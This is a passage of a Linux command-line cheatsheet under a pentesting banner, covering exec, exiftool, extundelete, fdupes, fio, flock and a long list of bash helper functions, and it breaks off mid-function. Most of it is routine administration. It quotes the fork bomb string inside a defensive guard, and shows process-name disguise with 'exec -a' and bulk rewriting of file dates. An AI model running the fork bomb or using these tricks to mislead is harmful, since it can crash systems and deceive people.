#   search in pages:    /elm/~keyword
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

35 - 🖥️exec

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the exec command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗  ██╗███████╗ ██████╗
#  ██╔════╝╚██╗██╔╝██╔════╝██╔════╝
#  █████╗   ╚███╔╝ █████╗  ██║
#  ██╔══╝   ██╔██╗ ██╔══╝  ██║
#  ███████╗██╔╝ ██╗███████╗╚██████╗
#  ╚══════╝╚═╝  ╚═╝╚══════╝ ╚═════╝

# Shell builtin command
# It can start a new process to replace the shell, without a new process creation.
# It can make redirections take effect in the current shell

# Redirect the output of an entire shell script within the script itself
# Only stdout:
exec > foo.log

# Redirect the output of an entire shell script within the script itself
# Stdout and stderr:
exec > foo.log 2>&1

# Copy output to a log file
exec >  >(tee -ia foo.log)
exec 2> >(tee -ia foo.log >&2)

# Disable suspend on lid close until current shell exits - Useful for running long commands with the laptop lid closed and screen off. Also see Gnome extension Caffeine. https://extensions.gnome.org/extension/517/caffeine/
exec systemd-inhibit --what=handle-lid-switch --mode=block bash

exec -a vim nethack
# Now if your boss runs ps aux on your system, they will think you are working, not playing a game.

#==============================##==============================#
# CMD EXEC						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

36 - 🖥️exiftool

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the exiftool command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗  ██╗██╗███████╗████████╗ ██████╗  ██████╗ ██╗     
#                ██╔════╝╚██╗██╔╝██║██╔════╝╚══██╔══╝██╔═══██╗██╔═══██╗██║     
#                █████╗   ╚███╔╝ ██║█████╗     ██║   ██║   ██║██║   ██║██║     
#                ██╔══╝   ██╔██╗ ██║██╔══╝     ██║   ██║   ██║██║   ██║██║     
#                ███████╗██╔╝ ██╗██║██║        ██║   ╚██████╔╝╚██████╔╝███████╗
#                ╚══════╝╚═╝  ╚═╝╚═╝╚═╝        ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝
                                                                              
                                                                              
                                                                           
#==============================#
# CMD exiftool
#==============================##==============================#

exiftool -all= foo.jpg
# Remove all exif metadata from a photo. 

exiftool <(curl -s apod.nasa\.gov/apod/image/1605/NGC5078-LRGBhager2048.jpg) |grep Software
# See what software was used for an image. #tbt

exiftool -v '-Directory<DateTimeOriginal' -d %Y .
# Move photos with EXIF data to directories by year created/taken. Be verbose.

exiftool -alldates="1964:06:01 12:00:00"
# setzt alle verfügbaren Datumsangaben einer Datei auf 1. Juni 1964 um 12 Uhr

# Remove all the exif metadata tags from photo.jpg to improve privacy before uploading.
exiftool -all= photo.jpg

# copy rated photos to separate folder  https://linux.die.net/man/1/exiftool 
exiftool -P -if '$Rating eq 5' -out ./_Best_of/ * 

exiftool -a -b -W %d%f_%t%-c.%s -preview:all YourFileOrDirectory
# Extract thumbnails from EXIF metadata -> It will generate a new file ending with "_ThumbnailImage.jpg" which is the embedded thumbnail inside the JPG for example.

exiftool -v '-Directory<DateTimeOriginal' -d %Y . 
# Move photos with EXIF data to directories by year created/taken. Be verbose.

# Use CreationDate metadata on .mov files to rename and modify the created/modify file dates on Mac
exiftool '-MDItemFSCreationDate<CreationDate' '-FileModifyDate<CreationDate' '-filename<CreationDate' -d %Y-%m-%d_%H-%M-%S%%+c.%%le . -ext mov

#==============================##==============================#
# CMD exiftool
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

37 - 🖥️exiv2

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the exiv2 command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗  ██╗██╗██╗   ██╗██████╗ 
#  ██╔════╝╚██╗██╔╝██║██║   ██║╚════██╗
#  █████╗   ╚███╔╝ ██║██║   ██║ █████╔╝
#  ██╔══╝   ██╔██╗ ██║╚██╗ ██╔╝██╔═══╝ 
#  ███████╗██╔╝ ██╗██║ ╚████╔╝ ███████╗
#  ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝  ╚══════╝

exiv2 -k -F rename *.jpg 
# Use the exiv2 EXIF program to rename your jpg files according to their exif date/time data. Thx @mvuets
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

38 - 🖥️extundelete

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the extundelete command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗  ██╗████████╗██╗   ██╗███╗   ██╗██████╗ ███████╗██╗     ███████╗████████╗███████╗
#  ██╔════╝╚██╗██╔╝╚══██╔══╝██║   ██║████╗  ██║██╔══██╗██╔════╝██║     ██╔════╝╚══██╔══╝██╔════╝
#  █████╗   ╚███╔╝    ██║   ██║   ██║██╔██╗ ██║██║  ██║█████╗  ██║     █████╗     ██║   █████╗  
#  ██╔══╝   ██╔██╗    ██║   ██║   ██║██║╚██╗██║██║  ██║██╔══╝  ██║     ██╔══╝     ██║   ██╔══╝  
#  ███████╗██╔╝ ██╗   ██║   ╚██████╔╝██║ ╚████║██████╔╝███████╗███████╗███████╗   ██║   ███████╗
#  ╚══════╝╚═╝  ╚═╝   ╚═╝    ╚═════╝ ╚═╝  ╚═══╝╚═════╝ ╚══════╝╚══════╝╚══════╝   ╚═╝   ╚══════╝

# to recover a file in /home/SomeUserName/, assuming /home is on its own partition, run:
extundelete /dev/sda4 --restore-file SomeUserName/SomeDirectory

# Recover an entire directory
extundelete /dev/sda4 --restore-directory SomeUserName/SomeDirectory

# For advanced users, to manually recover blocks or inodes with extundelete,
# debugfs can be used to find the inode to be recovered;
# Additional inodes to recover can be listed in an unspaced, comma-separated fashion.
extundelete --restore-inode inode

# recover all deleted files from an entire partition
extundelete /dev/sda4 --restore-all
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

39 - 🖥️fdupes

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the fdupes command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██████╗ ██╗   ██╗██████╗ ███████╗███████╗
#  ██╔════╝██╔══██╗██║   ██║██╔══██╗██╔════╝██╔════╝
#  █████╗  ██║  ██║██║   ██║██████╔╝█████╗  ███████╗
#  ██╔══╝  ██║  ██║██║   ██║██╔═══╝ ██╔══╝  ╚════██║
#  ██║     ██████╔╝╚██████╔╝██║     ███████╗███████║
#  ╚═╝     ╚═════╝  ╚═════╝ ╚═╝     ╚══════╝╚══════╝

fdupes -r dir > dupes.txt 
# Find file duplicates in 'dir' recursively based on size and mdsum and log to dupes.txt.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

40 - 🖥️fio

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the fio command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗ ██████╗ 
#  ██╔════╝██║██╔═══██╗
#  █████╗  ██║██║   ██║
#  ██╔══╝  ██║██║   ██║
#  ██║     ██║╚██████╔╝
#  ╚═╝     ╚═╝ ╚═════╝ 

# fio
# flexible I/O tester

# Spawn a number of threads or processes doing a particular type of I/O action
# iodepth = Number of I/O units to keep in flight against the file
# (can be used to initialize an AWS EBS volume)
fio --filename=/dev/xvdf --rw=read --bs=128k --iodepth=32 --ioengine=libaio --direct=1 --name=volume-initialize
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

41 - 🖥️flock

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the flock command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ███████╗██╗      ██████╗  ██████╗██╗  ██╗
#  ██╔════╝██║     ██╔═══██╗██╔════╝██║ ██╔╝
#  █████╗  ██║     ██║   ██║██║     █████╔╝ 
#  ██╔══╝  ██║     ██║   ██║██║     ██╔═██╗ 
#  ██║     ███████╗╚██████╔╝╚██████╗██║  ██╗
#  ╚═╝     ╚══════╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝

/usr/bin/flock -n /var/lock/some-lock-name /bin/sh /path/to/script.sh 
# Run the given script, exit immediately if another instance is already running. Convenient for cron tasks.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

42 - 🖥️function

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the function command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ███████╗██╗   ██╗███╗   ██╗ ██████╗████████╗██╗ ██████╗ ███╗   ██╗
#                ██╔════╝██║   ██║████╗  ██║██╔════╝╚══██╔══╝██║██╔═══██╗████╗  ██║
#                █████╗  ██║   ██║██╔██╗ ██║██║        ██║   ██║██║   ██║██╔██╗ ██║
#                ██╔══╝  ██║   ██║██║╚██╗██║██║        ██║   ██║██║   ██║██║╚██╗██║
#                ██║     ╚██████╔╝██║ ╚████║╚██████╗   ██║   ██║╚██████╔╝██║ ╚████║
#                ╚═╝      ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝
                                                                                  
                                                                                
# Define a bash function to interactively pick a subdirectory to cd into

############################################################################################################################################
###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS ###### FUNCTIONS 
############################################################################################################################################
#if [ -f ~/.bash_functions ]; then
#    . ~/.bash_functions
#fi

# Benötigte Programme:
#===============================
# sudo apt-get install geoip-bin html2text mercurial madplay festival weather-util weather-util-data gawk w3m python-pip youtube-dl gnuplot ispell dict moreutils tree txt2html zenity lsdvd vobcopy python-webkit geoip-bin mpg321

# Benötigt Python3 und ist veraltet
# sudo pip install mps-youtube

# für mencoder werden deb-multimedia sources.list benötigt
# mencoder

# veraltet
# python-gtkmozembed xulrunner-2.0 remastersys python-pisa

###### Download all images from a 4chan thread
function 4chanimages()
{
		curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([^"]*).*/\1\n/g'|grep images|xargs wget
}

###### Urlencoding with one pure BASH builtin
function URLEncode { local dataLength="${#1}"; local index; for ((index = 0;index < dataLength;index++)); do local char="${1:index:1}"; case $char in [a-zA-Z0-9.~_-]) printf "$char"; ;; *) printf "%%%02X" "'$char"; ;; esac; done; }
# URLEncode https://www.commandlinefu.com/commands/by/emphazer
# opposite of https://www.commandlinefu.com/commands/view/10014/urldecoding-with-one-pure-bash-builtin 
# This is sample output 
https%3A%2F%2Fwww.commandlinefu.com%2Fcommands%2Fby%2Femphazer

function csv2json() { for file in $@; do python -c "import csv,json,fileinput; print(json.dumps(list(csv.reader(fileinput.input()))))" "$file" 1> "${file%%csv}json"; done; }
# Convert CSV to JSON - Python3 and Bash function Is written for python3 and is very easy to use. csv2json *csv will convert all files ending in csv to json. eg csv2json file.csv will output a file to file.json

function dockpage() { lynx -width=180 --dump https://docs.docker.com/v1.11/engine/reference/commandline/$1/ | sed -n '/^Usage/,/On this page/{/On this page/b;p}'; }
# Shows the online version of docker's man related a command. Docker is local man pages are (often) half of what you have online, so I wanted that as local man.

function curlh() { x="$(curl -Is -w '%{http_code}' "$@")"; if [[ "$(tail -n 1 <<< "$x")" == [45]* ]]; then curl -is "$@" | awk '{ if (!NF) { exit }; print }'; else head -n -1 <<< "$x"; fi; }
# Get only headers from a website with curl even if it does not support HEAD. Some sites running on basic web servers do not support the HEAD request, so using "curl -I" on them does not work. This will automatically try "curl -I" at first and if that fails with a 4xx or 5xx status code, it falls back to "curl -i" and prints only the headers from that.

# setproxy on cmd
function setproxy() {
	    	export {http,https,ftp}_proxy='http://PROXYUSER:[email protected]:8080'
	        }

function unsetproxy() {
		unset {http,https,ftp}_proxy
		}

# Check what a color code will look like by making a function to display them. I'm having one side of this conversation right now without the benefit of the other side.
function showcolor(){ 
	display -size 400x400 "xc:$1" ; 
}; showcolor '#6495ED' 

# Generate Random Text based on Length
function genRandomText() { 
	local n=$1; while [ $((n--)) -gt 0 ]; do printf "\x$(printf %x $((RANDOM % 26 + 65)))" ; done ; echo ; 
}

# function to compute what percentage of X is Y? Where percent/100 = X/Y => percent=100*X/Y
# This function make it easy to compute X/Y as a percentage. The name "wpoxiy" is an acronym of "what percentage of X is Y" Show Sample Output
# 
# $ wpoxiy 65788574 1269501
# 1.92%
# 
# $ wpoxiy 30 10
# 33.33%
# What percentage of X is Y? Where percent/100 = X/Y => percent=100*X/Y 
	# Example: wpoxiy 10 5 # 50.00% 
	# Example: wpoxiy 30 10 # 33.33% 
function wpoxiy () { 
	echo $(bc <<< "scale=2; y=${1}; x=${2}; percent=x*100/y; percent")"%"; 
}

# Generate Random Text based on Length -> Random text of length "$1" without the useless cat command.
function genRandomText() { 
	tr -cd '[:alpha:]' < /dev/urandom | head -c "$1"; 
}

# small CPU benchmark with PI, bc and time. -> 4 cores with 2500 pi digits CPUBENCH 4 2500 . every core will use 100% cpu and you can see how fast they calculate it. if you do 50000 digitits and more it can take hours or days Show Sample Output
function CPUBENCH() { 
	local CPU="${1:-1}"; local SCALE="${2:-5000}"; { for LOOP in `seq 1 $CPU`; do { time echo "scale=${SCALE}; 4*a(1)" | bc -l -q | grep -v ^"[0-9]" & } ; done }; echo "Cores: $CPU"; echo "Digit: $SCALE" ;
}

# Show all files sorted by date -> a quick function for searching changed files. just copy it in the bash Show Sample Output
function FINDDATE() { 
	LOCATION="${1:-.}"; find ${LOCATION} -type f -print0 | xargs -0 stat -c "%y %n" | sort | sed 's/.\([0-9]\)\{9,\} +0[1-2]00/\t/' | sed 's/ /\t/g' 
}

# Function to draw a regular polygon using ImageMagick commands. Ex: poly 8 280 Credit to Digital Trauma on StackEx. CodeGolf
function poly(){ 
	c=`bc -l <<<"for(;i++<$1;){t=6.28*i/$1;print s(t)*$2+$2,\",\";c(t)*$2+$2}"`;convert -size $[$2*2]x$[$2*2] xc: -draw "polygon $c" png:-|display; 
} 

# Abort the whole script from a function
trap "exit 1" TERM
export TOP_PID=$$
function fatal(){
        echo "Goodbye"
        kill -s TERM $TOP_PID
}
echo "Function call will abort"
echo $(func)
echo "This will never be printed"

# Find inside specific file type function
function findin() { 
	find . -type f -name "*.$1" | xargs ack $2 
}

###### Add a function you've defined to .bashrc
function addfunction() { declare -f $1 >> ~/.bashrc ; }

# You can put this in your shell rc to *help* protect yourself *specifically* from :(){ :|:& };: #bash
:(){ true; };readonly -f :

# 
sec2dhms() 
{  
          declare -i SS="$1"  D=$(( SS / 86400 ))   H=$(( SS % 86400 / 3600 ))  M=$(( SS % 3600 / 60 ))   S=$(( SS % 60 ))   [ "$D" -gt 0 ] && echo -n "${D}:"  [ "$H" -gt 0 ] && printf "%02g:" "$H"  printf "%02g:%02g\n" "$M" "$S" 
}

## Convert seconds to [DD:][HH:]MM:SS
# Converts any number of seconds into days, hours, minutes and seconds.
sec2dhms() 
{
	declare -i SS="$1"
	D=$(( SS / 86400 ))
	H=$(( SS % 86400 / 3600 ))
	M=$(( SS % 3600 / 60 ))
	S=$(( SS % 60 ))
	[ "$D" -gt 0 ] && echo -n "${D}:"
	[ "$H" -gt 0 ] && printf "%02g:" "$H"
	printf "%02g:%02g\n" "$M" "$S"
}

shebang () { printf '%s\n' 0a '#!'"$1" . w | ed -s "$2" ; }
# Retrofit a shebang to an existing script
# Function to add a shebang to an existing script, handy if you forgot to add it in the first place.

videospeed() { vname="$1"; speedc="$2"; vs=$(python3 -c "print(1/$speedc)"); aspeed=$(python3 -c "print(1*$speedc)"); ffmpeg -i "$vname" -filter:a "atempo=$aspeed" -filter:v "setpts=$vs*PTS" "${3:-converted_$1}"; }
# Speed up or slow down video (and audio)
# Usage:
videospeed video_filename speedchange newfilename
videospeed foo.mp4 0.5 foo_slow.mp4
# Range of 0.5 (50%) - 2.0 (200%) is valid.

lc() { od="$1"; nd="$2"; of=$3; nf=$4; cp -rl "$od" "$nd"; parallel -0 "ffmpeg -i {1} -loglevel error -q:a 6 {1.}.{2} && { rm {1}; echo {1.}.{2}; }" :::: <(find "$nd" -type f -iname \*$of -print0) ::: "$nf"; }
# Convert entire audio library in parallel
# Uses parallel processing
# Reiteration of my earlier command -> https://www.commandlinefu.com/commands/view/15246/convert-entire-music-library
# Usage
lc Old_Directory New_DIrectory Old_Format New_Format
lc ~/Music ~/Music_ogg mp3 ogg

function cdb() 
{ 
          select dir in $(find -type d -name "$1" -not -path '*/\.*' -prune)
          do cd "${dir}" && break
               done  
}

# Extract Function Linux Bash
# Extract archives - use: extract <file>
# Based on http://dotfiles.org/~pseup/.bashrc
function extract() {
    if [ -f "$1" ] ; then
	local filename=$(basename "$1")
	local foldername="${filename%%.*}"
	local fullpath=`perl -e 'use Cwd "abs_path";print abs_path(shift)' "$1"`
	local didfolderexist=false
	if [ -d "$foldername" ]; then
	    didfolderexist=true
	    read -p "$foldername already exists, do you want to overwrite it? (y/n) " -n 1
	    echo
	    if [[ $REPLY =~ ^[Nn]$ ]]; then
		return
	    fi
	fi
	mkdir -p "$foldername" && cd "$foldername"
	case $1 in
	    *.tar.bz2) tar xjf "$fullpath" ;;
	    *.tar.gz) tar xzf "$fullpath" ;;
	    *.tar.xz) tar Jxvf "$fullpath" ;;
	    *.tar.Z) tar xzf "$fullpath" ;;
	    *.tar) tar xf "$fullpath" ;;
	    *.taz) tar xzf "$fullpath" ;;
	    *.tb2) tar xjf "$fullpath" ;;
	    *.tbz) tar xjf "$fullpath" ;;
	    *.tbz2) tar xjf "$fullpath" ;;
	    *.tgz) tar xzf "$fullpath" ;;
	    *.txz) tar Jxvf "$fullpath" ;;
	    *.zip) unzip "$fullpath" ;;
	    *) echo "'$1' cannot be extracted via extract()" && cd .. && ! $didfolderexist && rm -r "$foldername" ;;
	esac
    else
	echo "'$1' is not a valid file"
    fi
}

#------------------------------------------------------------------------------#

function cdb() { select dir in $(find -type d -name "$1" -not -path '*/\.*' -prune); do cd "${dir}" && break; done }
# Define a bash function to interactively pick a subdirectory to cd into

# Bash autocomplete ssh hosts
gistfile1.txt
_complete_ssh_hosts ()
{
        COMPREPLY=()
        cur="${COMP_WORDS[COMP_CWORD]}"
        comp_ssh_hosts=`cat ~/.ssh/known_hosts | \
                        cut -f 1 -d ' ' | \
                        sed -e s/,.*//g | \
                        grep -v ^# | \
                        uniq | \
                        grep -v "\[" ;
                cat ~/.ssh/config | \
                        grep "^host " | \
                        awk '{print $2}'
                `
        COMPREPLY=( $(compgen -W "${comp_ssh_hosts}" -- $cur))
        return 0
}
complete -F _complete_ssh_hosts ssh

###### to export private OpenPGP keys to a file for safe keeping and potential restoration - using 'mykeys', put the appropriate GPG key after you type this function
function exportmykeys_private()
{
		gpg --list-secret-keys
		echo -n "Please enter the appropriate private key...
		Look for the line that starts something like "sec 1024D/".
		The part after the 1024D is the key_id.
		...like this: '2942FE31'...

		"
		read MYKEYPRIV
		gpg -ao Private_Keys-private.key --export-secret-keys "$MYKEYPRIV"
		echo -n "All done."
}

###### to export public OpenPGP keys to a file for safe keeping and potential restoration- using 'mykeys', put the appropriate GPG key after you type this function
function exportmykeys_public()
{
		gpg --list-keys
		echo -n "Please enter the appropriate public key...
		Look for line that starts something like "pub 1024D/".
		The part after the 1024D is the public key_id.
		...like this: '2942FE31'...

		"
		read MYKEYPUB
		gpg -ao Public_Keys-public.key --export "$MYKEYPUB"
		echo -n "All done."
}

###### to restore your public and private OpenPGP keys from Public_Key-public.key and Private_Keys-private.key files:
function restoremykeys()
{
		echo -n "Please enter the full path to Public keys (spaces are fine)...

		Example: '/home/(your username)/Public_Key-public.key'...

		"
		read MYKEYS_PUBLIC_LOCATION
		gpg --import "$MYKEYS_PUBLIC_LOCATION"
		echo -n "Please enter the full path to Private keys (spaces are fine)...

		Example: '/home/(your username)/Private_Keys-private.key'...

		"
		read MYKEYS_PRIVATE_LOCATION
		gpg --import "$MYKEYS_PRIVATE_LOCATION"
		echo -n "All done."
}

###### to setup new public and private OpenPGP keys
function setupmykeys()
{
		# Generate new key
		gpg --gen-key
		# Publish new key to Ubuntu keyserver
		gpg --keyserver hkp://keyserver.ubuntu.com --send-keys
		# Import an OpenPGP key
		gpg --fingerprint
		# Verify new key
		read -sn 1 -p "Before you continue, you must enter the fingerprint
		in the appropriate place in your Launchpad PPA on their website...

		Once you have successfully inputed it, wait for your email before
		you press any key to continue...

		"
		gedit $HOME/file.txt
		read -sn 1 -p "Once you have received your email from Launchpad to
		verify your new key, copy and paste the email message received upon
		import of OpenPGP key from "-----BEGIN PGP MESSAGE-----" till
		"-----END PGP MESSAGE-----" to the 'file.txt' in your home folder
		that was just opened for you

